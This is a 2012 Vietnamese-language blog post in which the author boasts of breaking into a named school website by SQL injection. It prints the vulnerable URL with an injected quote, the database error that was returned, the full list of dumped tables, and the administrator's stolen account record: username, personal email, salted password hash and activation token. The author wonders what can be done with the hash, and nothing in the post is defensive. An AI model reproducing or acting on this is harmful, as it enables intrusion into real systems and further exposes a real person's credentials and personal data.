Saturday 28 April 2012

nbkvl.edu.vn

2 ngày trước đã tấn công thành công nbkvl.edu.vn bằng phương pháp sql injection. Nhưng password đã bị mã hoá khá kĩ nên chưa biết tính sao. Đang phân vân không biết với cái pass đã mã hoá thì làm được gì. haiz. Vui 5s rùi lại bùn.
[show]
bug loi: http://www.nbkvl.edu.vn/index.php?option=com_ts&limitstart=1000'
==> DB function failed with error number 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '',20' at line 1 SQL=SELECT *FROM jos_ts LIMIT 1000',20

cau query dung: SELECT *FROM jos_ts LIMIT 1000

jos_alfcontact,jos_banner,jos_bannerclient,jos_bannertrack,jos_categories,jos_components,jos_contact_details,jos_content,jos_content_frontpage,jos_content_rating,jos_core_acl_aro,jos_core_acl_aro_groups,jos_core_acl_aro_map,jos_core_acl_aro_sections,jos_core_acl_groups_aro_map,jos_core_log_items,jos_core_log_searches,jos_diem,jos_diemthi,jos_docman,jos_docman_groups,jos_docman_history,jos_docman_licenses,jos_docman_log,jos_groups,jos_hk,jos_hs,jos_hsg,jos_ijoomla_news_categories_manager,jos_ijoomla_news_items_displayed,jos_ijoomla_news_items_manager,jos_ijoomla_news_layout,jos_ijoomla_news_layout_settings,jos_ijoomla_news_section_manager,jos_ijoomla_news_separator_settings,jos_ijoomla_news_settings,jos_ijoomla_news_zone_settings,jos_jckplugins,jos_jcktoolbarplugins,jos_jcktoolbars,jos_menu,jos_menu_types,jos_messages,jos_messages_cfg,jos_migration_backlinks,jos_modules,jos_modules_menu,jos_nam,jos_newsfeeds,jos_nghe,jos_phocadownload,jos_phocadownload_categories,jos_phocadownload_licenses,jos_phocadownload_sections,jos_phocadownload_settings,jos_phocadownload_user_stat,jos_phocagallery,jos_phocagallery_categories,jos_phocagallery_comments,jos_phocagallery_img_comments,jos_phocagallery_img_votes,jos_phocagallery_img_votes_statistics,jos_phocagallery_user,jos_phocagallery_votes,jos_phocagallery_votes_statistics,jos_plugins,jos_poll_data,jos_poll_date,jos_poll_menu,jos_polls,jos_sections,jos_session,jos_stats_agents,jos_templates_menu,jos_thongtin,jos_ts,jos_users,jos_vvcounter_logs,jos_weblinks,jos_webplayer_category,jos_webplayer_googleads,jos_webplayer_settings,jos_webplayer_skin,jos_webplayer_videos,jos_wf_profiles,jos_xl,kq so tuyen hsg

>>>>>jos_users<<<<<<<
id,name,username,email,password,usertype,block,sendEmail,gid,registerDate,lastvisitDate,activation,params
id: 62
name: Administrator
username: nbkadmin
email: loinguyentrung@gmail.com
password: 1575074aefb6d81a6f1c1adbdc41c9bb:c9Qdu5wqWefIwtnikRLD8yQ05cglRBew
usertype: Super Administrator
block: 0
sendEmail: 1
gid: 25
registerDate: 2011-11-14 14:54:31
lastvisitDate: 2012-04-26 03:02:54
activation: a9a7db64bb0c9bd4af430bbbc4df7de4:$1$d3725923$
params: admin_language= language= editor= helpsite= timezone=0